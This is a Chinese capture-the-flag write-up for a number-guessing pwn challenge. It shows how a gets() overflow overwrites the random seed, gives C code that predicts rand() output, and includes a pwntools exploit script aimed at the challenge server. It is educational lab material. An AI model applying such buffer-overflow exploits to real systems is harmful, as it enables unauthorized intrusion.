题目描述

菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么

Solution

先检查文件信息:

003-1.png

该程序是 ELF64 文件,符号表被摘除,有金丝雀,栈不可执行,还是位置无关程序。运行程序,会要求输入一个名字和一个数字,数字不对则打印GG退出。我们把文件放入 IDA 分析,先按 Shift + F12 看可打印字符串:

003-2.png

这个字符串或许对我们有帮助。双击进去,按 Ctrl + X 列出所有对该字符串的跨模块调用,跟进发现该函数调用了system("cat flag")

003-3.png

左键点亮函数名,按右键,选择 Jump to xref,发现是main()函数在调用它:

003-4.png

rand()函数产生的是伪随机数,依靠srand()来产生随机数 如果srand()的参数相同 那么rand()产生的随机数相同。在本题中,随机数种子由int seed[2];变量确定,题目中有gets()函数,可以把栈上的input_name变量溢出,进而修改seed变量的值。

双击栈上的变量课查看大致的内存布局:

003-5.png

我们构造 payload 包含 32 个A,然后再用aaaa覆盖掉seed。我们编写 C 程序看看aaaa产生的随机数是多少:

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. int main() {
  4. int key;
  5. srand(0x61616161);
  6. for (int i = 0; i < 10; i += 1) {
  7. key = rand() % 6 + 1;
  8. printf("%d, ", key);
  9. }
  10. puts("\n");
  11. return 0;
  12. }

运行结果如下:

  1. 5, 6, 4, 6, 6, 2, 3, 6, 2, 2,

我们编写 Python 漏洞利用脚本:

  1. from pwn import *
  2. #conn = process('./003')
  3. conn = remote('111.200.241.244', 58253)
  4. your_name = 'aaaa'
  5. payload = "A" * (32) + your_name
  6. conn.sendlineafter("Your name:", payload)
  7. num = ['5', '6', '4', '6', '6', '2', '3', '6', '2', '2']
  8. for i in range(10):
  9. conn.sendlineafter("number:", num[i])
  10. print(conn.recv())
  11. print(conn.recvall())

运行结果如下:

003-6.png